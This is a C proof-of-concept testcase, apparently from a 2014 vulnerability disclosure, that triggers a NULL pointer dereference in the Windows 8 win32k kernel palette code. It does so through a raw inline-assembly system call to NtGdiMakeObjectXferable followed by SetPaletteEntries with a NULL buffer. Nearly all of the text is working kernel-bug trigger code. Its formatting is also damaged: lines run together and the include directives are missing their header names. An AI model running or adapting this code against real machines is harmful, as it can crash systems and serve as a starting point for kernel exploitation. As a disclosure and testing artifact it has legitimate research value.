#ifndef WIN32_NO_STATUS # define WIN32_NO_STATUS #endif #include #include #include #include #include #include #include #ifdef WIN32_NO_STATUS # undef WIN32_NO_STATUS #endif #include #pragma comment(lib, "gdi32") #pragma comment(lib, "user32") #define __NR_NtGdiMakeObjectXferable (0x1000+0x037B) // GreSetPaletteEntries NULL pointer dereference testcase. // // This testcase is Windows 8 specific (uses Xferable Objects), but the bug can // be triggered without that feature in a more complicated way. // // Tavis Ormandy -- taviso@cmpxchg8b.com Feb 2014. NTSTATUS SystemCall(DWORD Number, PVOID Args, ...) { NTSTATUS Status; SetLastError(0); __try { __asm { mov eax, Number lea edx, Args int 0x2e mov Status, eax } } __except(EXCEPTION_EXECUTE_HANDLER) { return GetExceptionCode(); } return Status; } int main(int argc, char **argv) { HPALETTE Palette; HDC Device; LOGPALETTE LogPalette = { 768, // Version 1, // NumEntries { 255, // R 255, // G 255, // B PC_EXPLICIT // Flags }, }; Device = GetDC(NULL); Palette = CreatePalette(&LogPalette); SelectPalette(Device, Palette, FALSE); // Make the DC screen xferable, this makes locking fail. // I don't know what this is used for, a breakpoint on // win32k!NtGdiMakeObjectXferable, never hits during normal usage but it // serves the purpose here well enough. SystemCall(__NR_NtGdiMakeObjectXferable, Device, GetCurrentProcess()); SelectPalette(Device, Palette, TRUE); SetPaletteEntries(Palette, 0, 0, NULL); return 0; }